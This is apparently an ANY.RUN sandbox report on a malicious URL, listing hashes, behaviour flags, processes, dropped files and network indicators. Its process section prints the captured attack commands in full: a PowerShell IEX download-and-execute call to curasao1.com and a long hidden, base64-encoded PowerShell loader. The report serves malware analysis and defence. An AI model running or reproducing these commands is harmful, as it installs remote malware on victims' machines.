analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
URL:

http://mononopu.xyz/?cep=on4a0PWkpRmMwbh65_RyyOvz62g6fcwe1n69809QX2CVP-qMIAQJq3XqiKn14Eqv4WjemyfKjDsISZYofObb3AwjQ83RnbfqmVPI3Bg3_o5dub5vl_z132vX5_HtdYshma_R1tNUPmFxzYDls7vr9qTVohlDZ6ln_4ObsOGX8ZdJAqY9ktgkhUkf-d57B7Lcw4ZD-siV5pF4wgs61lFQiTEYl1d54I6r0aQfiK0pacboN5idf9JTw33Zh5_so3d-_mFnkBGDMrS2sUxAyIXtnSVTVQ39KmZwNNZQv2ym8ZymFZhGiPHa0v0pFVVmODIGpqD8MzD0ttJ53dyzpQP2gMmRVN-x4gYf6gow6_jaD4Y

Full analysis: https://app.any.run/tasks/083f2b62-cc44-4048-82bf-31dff153e80f
Verdict: Malicious activity
Analysis date: September 30, 2020, 13:54:24
OS: Windows 10 Professional (build: 16299, 64 bit)
Indicators:
MD5:

5CF0AF2D3F6DEFA540B8BE4F60CB9B40

SHA1:

4D9605854F8F814BBE0B33C52CEAC902CDFE297E

SHA256:

36BFEB710458606874837C01F45B5B6D794DDA9B85EE1A21315C7AF29BB473FC

SSDEEP:

12:7dQzskTHIGG6LMi5t+fsvbc7j2okdnWOA:7qxbG6LYkOknWOA

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • u0pwWNzL.tmp (PID: 1784)
      • u0pwWNzL.tmp (PID: 4568)

    • Starts Visual C# compiler

      • PowerShell.exe (PID: 4468)
      • powershell.exe (PID: 1308)

    • Application was injected by another process

      • explorer.exe (PID: 4048)

    • Runs injected code in another process

      • u0pwWNzL.tmp (PID: 4568)

    • Loads the Task Scheduler COM API

      • explorer.exe (PID: 4048)

    • Loads the Task Scheduler DLL interface

      • explorer.exe (PID: 4048)

  • SUSPICIOUS

    • Checks supported languages

      • PowerShell.exe (PID: 4468)
      • explorer.exe (PID: 4048)

    • Executes PowerShell scripts

      • IEXPLORE.EXE (PID: 4064)

    • Executed via COM

      • imebroker.exe (PID: 2888)
      • FlashUtil_ActiveX.exe (PID: 1980)

    • Starts Internet Explorer

      • explorer.exe (PID: 4048)

    • Reads the machine GUID from the registry

      • powershell.exe (PID: 1308)
      • PowerShell.exe (PID: 4468)
      • csc.exe (PID: 2452)
      • csc.exe (PID: 736)
      • explorer.exe (PID: 4048)

    • Starts application with an unusual extension

      • PowerShell.exe (PID: 4468)

    • Executed via WMI

      • u0pwWNzL.tmp (PID: 4568)

    • Executable content was dropped or overwritten

      • PowerShell.exe (PID: 4468)
      • u0pwWNzL.tmp (PID: 4568)
      • explorer.exe (PID: 4048)

    • Uses WMIC.EXE to create a new process

      • u0pwWNzL.tmp (PID: 1784)

    • Creates files in the user directory

      • explorer.exe (PID: 4048)

  • INFO

    • Reads settings of System Certificates

      • PowerShell.exe (PID: 4468)
      • powershell.exe (PID: 1308)

    • Changes internet zones settings

      • iexplore.exe (PID: 3892)

    • Reads the software policy settings

      • PowerShell.exe (PID: 4468)
      • powershell.exe (PID: 1308)

    • Reads internet explorer settings

      • IEXPLORE.EXE (PID: 4064)
      • IEXPLORE.EXE (PID: 4320)

    • Reads the machine GUID from the registry

      • IEXPLORE.EXE (PID: 4064)
      • iexplore.exe (PID: 3892)
      • IEXPLORE.EXE (PID: 4320)

    • Creates files in the user directory

      • FlashUtil_ActiveX.exe (PID: 1980)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
107
Monitored processes
18
Malicious processes
0
Suspicious processes
4

Behavior graph

Click at the process to see the details
start drop and start inject iexplore.exe iexplore.exe imebroker.exe no specs flashutil_activex.exe no specs powershell.exe conhost.exe no specs powershell.exe conhost.exe no specs iexplore.exe csc.exe no specs cvtres.exe no specs csc.exe no specs cvtres.exe no specs u0pwwnzl.tmp no specs wmic.exe conhost.exe u0pwwnzl.tmp explorer.exe

Process information

PID
CMD
Path
Indicators
Parent process
3892"C:\Program Files\internet explorer\iexplore.exe" "http://mononopu.xyz/?cep=on4a0PWkpRmMwbh65_RyyOvz62g6fcwe1n69809QX2CVP-qMIAQJq3XqiKn14Eqv4WjemyfKjDsISZYofObb3AwjQ83RnbfqmVPI3Bg3_o5dub5vl_z132vX5_HtdYshma_R1tNUPmFxzYDls7vr9qTVohlDZ6ln_4ObsOGX8ZdJAqY9ktgkhUkf-d57B7Lcw4ZD-siV5pF4wgs61lFQiTEYl1d54I6r0aQfiK0pacboN5idf9JTw33Zh5_so3d-_mFnkBGDMrS2sUxAyIXtnSVTVQ39KmZwNNZQv2ym8ZymFZhGiPHa0v0pFVVmODIGpqD8MzD0ttJ53dyzpQP2gMmRVN-x4gYf6gow6_jaD4Y"C:\Program Files\internet explorer\iexplore.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Internet Explorer
Version:
11.00.16299.15 (WinBuild.160101.0800)
4064"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3892 CREDAT:9474 /prefetch:2C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Internet Explorer
Exit code:
0
Version:
11.00.16299.15 (WinBuild.160101.0800)
2888C:\Windows\System32\IME\SHARED\imebroker.exe -EmbeddingC:\Windows\System32\IME\SHARED\imebroker.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft IME
Version:
10.0.16299.402 (WinBuild.160101.0800)
1980"C:\Windows\System32\Macromed\Flash\FlashUtil_ActiveX.exe" -EmbeddingC:\Windows\System32\Macromed\Flash\FlashUtil_ActiveX.exe—svchost.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
MEDIUM
Description:
Adobe® Flash® Player Utility
Version:
29,0,0,171
4468((((\..\PowerShell.exe -Command "<#AAAAAAAAAAAAAAAAAAAAAAAAA ((#>IEX (New-Object Net.WebClient).DownloadString('https://curasao1.com/Hederin/7sbK/8MMM75?Q8BhC=Marrieds&v2Yn=grimmia_sponsor_Hardwired');"C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\PowerShell.exe
IEXPLORE.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.16299.15 (WinBuild.160101.0800)
3320\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\WINDOWS\system32\conhost.exe—PowerShell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Console Window Host
Exit code:
0
Version:
10.0.16299.15 (WinBuild.160101.0800)
1308powershell.exe -w hidden -noni -enc dAByAHkAewAkAGwAbABsAEkAMQBJAGwAPQBbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkAOwAkAGwAMQAxADEAbABsAGwAPQAkAGwAbABsAEkAMQBJAGwALgBHAGUAdABUAHkAcABlACgAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAFUAMwBsAHoAZABHAFYAdABMAGsAMQBoAGIAbQBGAG4AWgBXADEAbABiAG4AUQB1AFEAWABWADAAYgAyADEAaABkAEcAbAB2AGIAaQA1AEIAYgBYAE4AcABWAFgAUgBwAGIASABNAD0AJwApACkAKQA7ACQASQBJAGwASQBJAEkAbAA9ACQAbAAxADEAMQBsAGwAbAAuAEcAZQB0AEYAaQBlAGwAZAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBZAFcAMQB6AGEAVQBsAHUAYQBYAFIARwBZAFcAbABzAFoAVwBRAD0AJwApACkALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsAJABJAEkAbABJAEkASQBsAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwB9AGMAYQB0AGMAaAB7AH0AOwBBAGQAZAAtAFQAeQBwAGUAIAAtAFQAeQBwAGUARABlAGYAaQBuAGkAdABpAG8AbgAgACIAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwA7AHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsAWwBTAHQAcgB1AGMAdABMAGEAeQBvAHUAdAAoAEwAYQB5AG8AdQB0AEsAaQBuAGQALgBTAGUAcQB1AGUAbgB0AGkAYQBsACkAXQBwAHUAYgBsAGkAYwAgAHMAdAByAHUAYwB0ACAAbAAxAGwAbABJADEAMQBsAGwAbAAxAEkAewBwAHUAYgBsAGkAYwAgAEkAbgB0AFAAdAByACAASQBsAEkAbAAxADEASQBsAGwAOwBwAHUAYgBsAGkAYwAgAEkAbgB0AFAAdAByACAASQBJAGwAMQBJAGwAMQBsADsAcAB1AGIAbABpAGMAIAB1AGkAbgB0ACAASQBJAEkAMQBJAEkAbAAxADEAbAA7AHAAdQBiAGwAaQBjACAAdQBpAG4AdAAgAEkAMQBsADEAbABJAEkAbABsAEkASQA7AH0AWwBTAHQAcgB1AGMAdABMAGEAeQBvAHUAdAAoAEwAYQB5AG8AdQB0AEsAaQBuAGQALgBTAGUAcQB1AGUAbgB0AGkAYQBsACwAQwBoAGEAcgBTAGUAdAA9AEMAaABhAHIAUwBlAHQALgBVAG4AaQBjAG8AZABlACkAXQBwAHUAYgBsAGkAYwAgAHMAdAByAHUAYwB0ACAASQBJAGwASQAxADEASQBsAHsAcAB1AGIAbABpAGMAIAB1AGkAbgB0ACAAbABJADEAbAAxAGwASQAxADEAOwBwAHUAYgBsAGkAYwAgAHMAdAByAGkAbgBnACAAbABsADEAMQAxADEAbABJADEAMQBsAEkAOwBwAHUAYgBsAGkAYwAgAHMAdAByAGkAbgBnACAASQBsADEAMQBJAGwAMQBJAEkAbAA7AHAAdQBiAGwAaQBjACAAcwB0AHIAaQBuAGcAIABJADEAMQBsAEkASQA7AHAAdQBiAGwAaQBjACAAdQBpAG4AdAAgAGwAbAAxADEAMQBJAEkAbAAxAGwASQA7AHAAdQBiAGwAaQBjACAAdQBpAG4AdAAgAEkAMQAxAEkASQAxAGwASQBJADEAMQBJADsAcAB1AGIAbABpAGMAIAB1AGkAbgB0ACAASQBJADEAbAAxAEkAMQAxAEkAOwBwAHUAYgBsAGkAYwAgAHUAaQBuAHQAIABJADEAMQAxADEAMQAxAGwAMQA7AHAAdQBiAGwAaQBjACAAdQBpAG4AdAAgAGwAMQBsADEAMQA7AHAAdQBiAGwAaQBjACAAdQBpAG4AdAAgAGwAbAAxADEASQBJAGwAMQBJADsAcAB1AGIAbABpAGMAIAB1AGkAbgB0ACAAbABsADEAbABJAEkAOwBwAHUAYgBsAGkAYwAgAHUAaQBuAHQAIABJADEAbABJAEkAMQBJAEkAbAA7AHAAdQBiAGwAaQBjACAAcwBoAG8AcgB0ACAAbAAxAGwASQAxAGwAMQBJAGwAOwBwAHUAYgBsAGkAYwAgAHMAaABvAHIAdAAgAGwAMQAxADEAbABsADsAcAB1AGIAbABpAGMAIABJAG4AdABQAHQAcgAgAEkASQBsAGwASQBsADsAcAB1AGIAbABpAGMAIABJAG4AdABQAHQAcgAgAEkASQBsAEkAMQBsADsAcAB1AGIAbABpAGMAIABJAG4AdABQAHQAcgAgAGwAMQBJAEkAbAAxAEkAOwBwAHUAYgBsAGkAYwAgAEkAbgB0AFAAdAByACAAbABJADEAbABsAEkAOwB9ADsAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGMAbABhAHMAcwAgAGwAbABJADEASQB7AFsARABsAGwASQBtAHAAbwByAHQAKAAiACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgAiACwAUwBlAHQATABhAHMAdABFAHIAcgBvAHIAPQB0AHIAdQBlACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABiAG8AbwBsACAAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwAoAHMAdAByAGkAbgBnACAASQAxADEAbAAxACwAcwB0AHIAaQBuAGcAIABsADEAbABJAGwAbABsAGwAbAAsAEkAbgB0AFAAdAByACAAbAAxAGwAMQBsAGwAbABsADEASQAxAEkALABJAG4AdABQAHQAcgAgAGwASQBsAGwASQAxAEkAbAAsAGIAbwBvAGwAIABJADEAbABsAGwAbABsAEkALAB1AGkAbgB0ACAAbABJADEAMQAxAGwAMQBJADEASQAxADEALABJAG4AdABQAHQAcgAgAEkAMQBJAGwASQAxACwAcwB0AHIAaQBuAGcAIABJAGwAbABJAEkAbABsAEkALAByAGUAZgAgAEkASQBsAEkAMQAxAEkAbAAgAGwAbABsAGwAbABsADEALABvAHUAdAAgAGwAMQBsAGwASQAxADEAbABsAGwAMQBJACAASQAxAGwAMQBJADEASQApADsAfQAiADsAJABsAGwAbABsAEkAPQAiACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAEwAbwB3AFwAJAAoAC0AagBvAGkAbgAoACgANAA4AC4ALgA1ADcAKQArACgANgA1AC4ALgA5ADAAKQArACgAOQA3AC4ALgAxADIAMgApAHwARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAAOAB8ACUAewBbAGMAaABhAHIAXQAkAF8AfQApACkALgB0AG0AcAAiADsAJABsAGwAbABJAEkAMQAxAEkASQAxADEAPQAnAGgAdAB0AHAAcwA6AC8ALwBjAHUAcgBhAHMAYQBvADEALgBjAG8AbQAvAFUAbgBjAGgAaQBkAGkAbgBnAC8AUABuAHUAZQBPAC8AVABhAG4AbgB5AGwAPwBvADQAeAB6AHEAPQAzAE4AawAmAG4AZQBiAGIAZQBkAD0AMAA2AC0AMAA1AC0AMQA5ADYAOQAnADsAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEoARwBOAHMAYQBUADAAbwBUAG0AVgAzAEwAVQA5AGkAYQBtAFYAagBkAEMAQgBPAFoAWABRAHUAVgAyAFYAaQBRADIAeABwAFoAVwA1ADAASwBUAHMAawBZADIAeABwAEwAawBoAGwAWQBXAFIAbABjAG4ATgBiAEoAMQBWAHoAWgBYAEkAdABRAFcAZABsAGIAbgBRAG4AWABUADAAbgBUAEQATgBuAE0ARwBGADYATwBFADUAagBhADAAWQA0AFQAMABZADMAWgBpAGMANwBKAEcATgBzAGEAUwA1AEUAYgAzAGQAdQBiAEcAOQBoAFoARQBaAHAAYgBHAFUAbwBKAEcAeABzAGIARQBsAEoATQBUAEYASgBTAFQARQB4AEwAQwBSAHMAYgBHAHgAcwBTAFMAawA3ACcAKQApAHwAaQBlAHgAOwAkAEkAbAAxAEkAMQBsADEAMQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAEkAbABJADEAMQBJAGwAOwAkAEkAbAAxAEkAMQBsADEAMQAuAGwAMQBsAEkAMQBsADEASQBsAD0AMAB4ADAAOwAkAEkAbAAxAEkAMQBsADEAMQAuAGwASQAxAGwAMQBsAEkAMQAxAD0AWwBTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwAuAE0AYQByAHMAaABhAGwAXQA6ADoAUwBpAHoAZQBPAGYAKAAkAEkAbAAxAEkAMQBsADEAMQApADsAJABJAGwAbABJAEkAMQAxADEAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAbAAxAGwAbABJADEAMQBsAGwAbAAxAEkAOwBbAGwAbABJADEASQBdADoAOgBDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzACgAJABsAGwAbABsAEkALAAkAGwAbABsAGwASQAsAFsASQBuAHQAUAB0AHIAXQA6ADoAWgBlAHIAbwAsAFsASQBuAHQAUAB0AHIAXQA6ADoAWgBlAHIAbwAsACQAZgBhAGwAcwBlACwAMAB4ADAAMAAwADAAMAAwADAAOAAsAFsASQBuAHQAUAB0AHIAXQA6ADoAWgBlAHIAbwAsACIAYwA6ACIALABbAHIAZQBmAF0AJABJAGwAMQBJADEAbAAxADEALABbAHIAZQBmAF0AJABJAGwAbABJAEkAMQAxADEAKQB8AG8AdQB0AC0AbgB1AGwAbAA7AA==C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
IEXPLORE.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.16299.15 (WinBuild.160101.0800)
3180\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\WINDOWS\system32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Console Window Host
Exit code:
0
Version:
10.0.16299.15 (WinBuild.160101.0800)
4320"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3892 CREDAT:140548 /prefetch:2C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Internet Explorer
Version:
11.00.16299.15 (WinBuild.160101.0800)
2452"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\Low\wczrjvy4.cmdline"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Visual C# Command Line Compiler
Exit code:
0
Version:
4.7.2556.0 built by: NET471REL1
Total events
8 625
Read events
5 449
Write events
0
Delete events
0

Modification events

No data
Executable files
3
Suspicious files
7
Text files
56
Unknown types
27

Dropped files

PID
Process
Filename
Type
4064IEXPLORE.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\Low\IE\5UIG5DSE\tilda-blocks-2.7[1].jstext
MD5:1C2BC7B5CEFC337A4D6CABD67A5F6415
SHA256:E9F6CE2187C37EC49E13BC9A7BDFA873F9EC32BF7D7AC2BB1E4569DBC1F53A89
4064IEXPLORE.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\Low\IE\FZ4P8RAN\tilda-menusub-1.0.min[1].jstext
MD5:B7EE9558E7612A7499817FAE4B7E8E77
SHA256:A051A30838A10B065A0F5D25D2988C70845DAD8721470CE5ADDFFD5A97E015B9
4064IEXPLORE.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\Low\IE\2I6MPL32\tilda-scripts-2.8.min[1].jshtml
MD5:9B775C97D9C83B85D6954554C58AC1BF
SHA256:04AA964EA9337729A132E4F7990F777941982DDC90D7BD6A88ECB398708DBBBE
4064IEXPLORE.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\Low\IE\FZ4P8RAN\tilda-slds-1.4.min[1].jstext
MD5:CD4C37214A9B8FBBD931AF25BEC6B7A5
SHA256:7303CFAE42A4DEE5269C5E2DA7ABA325968B6944B81300E618D8F7691CB5298D
4064IEXPLORE.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\Low\IE\2I6MPL32\tild6430-6632-4265-b436-386339333965__-__resizeb__20x__Sushi_[1].jpgimage
MD5:A22C0B75550832B21E1CA8114F04312B
SHA256:81C59D906134B42E8A427DB168D206FADA5CE9B35FC298A935E94DD2DDD59BE9
4064IEXPLORE.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\Low\IE\LD57I5PR\tilda-animation-1.0.min[1].jstext
MD5:7E45048E2E38D3F9978870289CADAC99
SHA256:BC2254E158E5414D8977587D1F65156FF158A6981E7C10641C1DEB0AF9EF0956
4064IEXPLORE.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\Low\IE\LD57I5PR\S62Z8VC1.htmhtml
MD5:A8606DE78875DB631494E229AE0C4C5E
SHA256:5A0D182A20A6244E9037C1E8BF9AB0F06DF01D91174F0FB3CA5B933140D72828
4064IEXPLORE.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\Low\IE\5UIG5DSE\tilda-zoom-2.0.min[1].jstext
MD5:1DAA3FEAC50EDABE865B4B4275C84447
SHA256:4831A0335A037B86726E9F1D93F6AB227A49D1A5AA64B16AE35DD75A7F4112D3
4064IEXPLORE.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\Low\IE\5UIG5DSE\css[1].csstext
MD5:406BBD3793355E7C871DAE37CF8B5489
SHA256:EF468096753B3695F402459C02814DBFBDE44B89209360E5F727318C9ED5ABE2
4064IEXPLORE.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\Low\IE\2I6MPL32\tilda-menusub-1.0.min[1].csstext
MD5:F59F2761F8CB4407A06DB2228B9AAE44
SHA256:1BE946743DD2FFACF4DBEE1574B2BF9261D4C6527F5AD98919A01F4CBC792853
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
61
TCP/UDP connections
42
DNS requests
24
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4064
IEXPLORE.EXE
GET
200
109.248.11.77:80
http://mononopu.xyz/js/tilda-blocks-2.7.js?t=1564213267
RU
text
7.88 Kb
suspicious
4064
IEXPLORE.EXE
GET
200
109.248.11.77:80
http://mononopu.xyz/css/tilda-blocks-2.12.css?t=1564213267
RU
text
57.5 Kb
suspicious
4064
IEXPLORE.EXE
GET
200
109.248.11.77:80
http://mononopu.xyz/js/tilda-scripts-2.8.min.js
RU
html
39.5 Kb
suspicious
4064
IEXPLORE.EXE
GET
200
109.248.11.77:80
http://mononopu.xyz/css/tilda-menusub-1.0.min.css
RU
text
2.02 Kb
suspicious
4064
IEXPLORE.EXE
POST
200
109.248.11.77:80
http://mononopu.xyz/tom.php
RU
text
81 b
suspicious
4064
IEXPLORE.EXE
GET
200
109.248.11.77:80
http://mononopu.xyz/css/tilda-zoom-2.0.min.css
RU
text
5.33 Kb
suspicious
4064
IEXPLORE.EXE
GET
200
109.248.11.77:80
http://mononopu.xyz/?cep=on4a0PWkpRmMwbh65_RyyOvz62g6fcwe1n69809QX2CVP-qMIAQJq3XqiKn14Eqv4WjemyfKjDsISZYofObb3AwjQ83RnbfqmVPI3Bg3_o5dub5vl_z132vX5_HtdYshma_R1tNUPmFxzYDls7vr9qTVohlDZ6ln_4ObsOGX8ZdJAqY9ktgkhUkf-d57B7Lcw4ZD-siV5pF4wgs61lFQiTEYl1d54I6r0aQfiK0pacboN5idf9JTw33Zh5_so3d-_mFnkBGDMrS2sUxAyIXtnSVTVQ39KmZwNNZQv2ym8ZymFZhGiPHa0v0pFVVmODIGpqD8MzD0ttJ53dyzpQP2gMmRVN-x4gYf6gow6_jaD4Y
RU
html
14.8 Kb
suspicious
4064
IEXPLORE.EXE
GET
200
109.248.11.77:80
http://mononopu.xyz/tom.php
RU
text
709 b
suspicious
4064
IEXPLORE.EXE
GET
200
109.248.11.77:80
http://mononopu.xyz/js/tilda-animation-1.0.min.js
RU
text
16.9 Kb
suspicious
4064
IEXPLORE.EXE
GET
200
109.248.11.77:80
http://mononopu.xyz/js/tilda-menusub-1.0.min.js
RU
text
5.21 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4064
IEXPLORE.EXE
172.217.22.42:443
fonts.googleapis.com
Google Inc.
US
whitelisted
4064
IEXPLORE.EXE
172.217.16.195:443
fonts.gstatic.com
Google Inc.
US
whitelisted
4064
IEXPLORE.EXE
77.244.208.197:443
stat.tildacdn.com
OOO Network of data-centers Selectel
RU
unknown
3892
iexplore.exe
109.248.11.77:80
mononopu.xyz
Business Consulting LLC
RU
suspicious
4064
IEXPLORE.EXE
137.117.228.253:443
urs.microsoft.com
Microsoft Corporation
NL
unknown
4064
IEXPLORE.EXE
109.248.11.77:80
mononopu.xyz
Business Consulting LLC
RU
suspicious
3892
iexplore.exe
152.199.19.161:443
iecvlist.microsoft.com
MCI Communications Services, Inc. d/b/a Verizon Business
US
whitelisted
3892
iexplore.exe
137.117.228.253:443
urs.microsoft.com
Microsoft Corporation
NL
unknown
4064
IEXPLORE.EXE
185.233.2.102:443
curasao1.com
—
—
unknown
4320
IEXPLORE.EXE
185.233.2.102:443
curasao1.com
—
—
unknown

DNS requests

Domain
IP
Reputation
mononopu.xyz
  • 109.248.11.77
suspicious
urs.microsoft.com
  • 137.117.228.253
whitelisted
fonts.googleapis.com
  • 172.217.22.42
whitelisted
stat.tildacdn.com
  • 77.244.208.197
shared
fonts.gstatic.com
  • 172.217.16.195
whitelisted
iecvlist.microsoft.com
  • 152.199.19.161
whitelisted
c.urs.microsoft.com
  • 137.117.228.253
whitelisted
api.bing.com
  • 13.107.13.80
whitelisted
www.bing.com
  • 204.79.197.200
  • 13.107.21.200
whitelisted
curasao1.com
  • 185.233.2.102
unknown

Threats

PID
Process
Class
Message
4064
IEXPLORE.EXE
Potentially Bad Traffic
AV INFO HTTP Request to a *.xyz domain
4064
IEXPLORE.EXE
Potentially Bad Traffic
AV INFO HTTP Request to a *.xyz domain
4064
IEXPLORE.EXE
Potentially Bad Traffic
AV INFO HTTP Request to a *.xyz domain
4064
IEXPLORE.EXE
Potentially Bad Traffic
AV INFO HTTP Request to a *.xyz domain
4064
IEXPLORE.EXE
Potentially Bad Traffic
AV INFO HTTP Request to a *.xyz domain
4064
IEXPLORE.EXE
Potentially Bad Traffic
AV INFO HTTP Request to a *.xyz domain
4064
IEXPLORE.EXE
Potentially Bad Traffic
AV INFO HTTP Request to a *.xyz domain
4064
IEXPLORE.EXE
Potentially Bad Traffic
AV INFO HTTP Request to a *.xyz domain
4064
IEXPLORE.EXE
Potentially Bad Traffic
AV INFO HTTP Request to a *.xyz domain
4064
IEXPLORE.EXE
Potentially Bad Traffic
AV INFO HTTP Request to a *.xyz domain
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
http://mononopu.xyz/?cep=on4a0PWkpRmMwbh65_RyyOvz62g6fcwe1n69809QX2CVP-qMIAQJq3XqiKn14Eqv4WjemyfKjDsISZYofObb3AwjQ83RnbfqmVPI3Bg3_o5dub5vl_z132vX5_HtdYshma_R1tNUPmFxzYDls7vr9qTVohlDZ6ln_4ObsOGX8ZdJAqY9ktgkhUkf-d57B7Lcw4ZD-siV5pF4wgs61lFQiTEYl1d54I6r0aQfiK0pacboN5idf9JTw33Zh5_so3d-_mFnkBGDMrS2sUxAyIXtnSVTVQ39KmZwNNZQv2ym8ZymFZhGiPHa0v0pFVVmODIGpqD8MzD0ttJ53dyzpQP2gMmRVN-x4gYf6gow6_jaD4Y